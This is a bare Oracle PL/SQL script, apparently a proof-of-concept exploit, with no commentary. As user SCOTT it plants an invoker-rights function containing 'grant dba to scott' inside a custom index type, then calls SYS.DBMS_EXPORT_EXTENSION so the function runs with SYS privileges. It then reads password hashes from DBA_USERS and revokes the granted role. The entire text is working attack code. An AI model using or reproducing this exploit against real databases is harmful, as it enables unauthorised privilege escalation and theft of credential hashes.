CONNECT SCOTT/TIGER SET SERVEROUTPUT ON create or replace function myfunc return varchar2 authid current_user is PRAGMA AUTONOMOUS_TRANSACTION; begin DBMS_OUTPUT.PUT_LINE(USER); execute immediate 'grant dba to scott'; commit; return 'STR'; end; / CREATE OR REPLACE TYPE OWN10G3 AUTHID CURRENT_USER AS OBJECT ( key RAW(4), objid RAW(4), tmpobjid RAW(4), flag RAW(4), static function ODCIIndexUtilGetTableNames (idxinfo IN sys.ODCIIndexInfo, rdonly IN number, version IN VARCHAR2, ctxt OUT number) return BOOLEAN ); / CREATE OR REPLACE TYPE BODY OWN10G3 IS static function ODCIIndexUtilGetTableNames (idxinfo IN sys.ODCIIndexInfo, rdonly IN number, version IN VARCHAR2, ctxt OUT number) RETURN BOOLEAN IS X VARCHAR2(20); BEGIN DBMS_OUTPUT.PUT_LINE('IN_IN_IN_IN_IN_IN_IN_IN_IN_IN'); X:=SCOTT.MYFUNC(); DBMS_OUTPUT.PUT_LINE('END_END_END_END_END_END_END_E'); RETURN NULL; END; END; / DECLARE N INTEGER; READ_ONLY PLS_INTEGER; GET_TABLES PLS_INTEGER; GMFLAGS NUMBER; BEGIN GMFLAGS:=0; N:=SYS.DBMS_EXPORT_EXTENSION.GET_V2_DOMAIN_INDEX_TABLES('OWN10G3','SCOTT ','O WN10G3','SCOTT',1,'VER',1,GMFLAGS); END; / CONNECT SCOTT/TIGER SELECT USERNAME,PASSWORD FROM DBA_USERS; CONNECT / AS SYSDBA REVOKE DBA FROM SCOTT;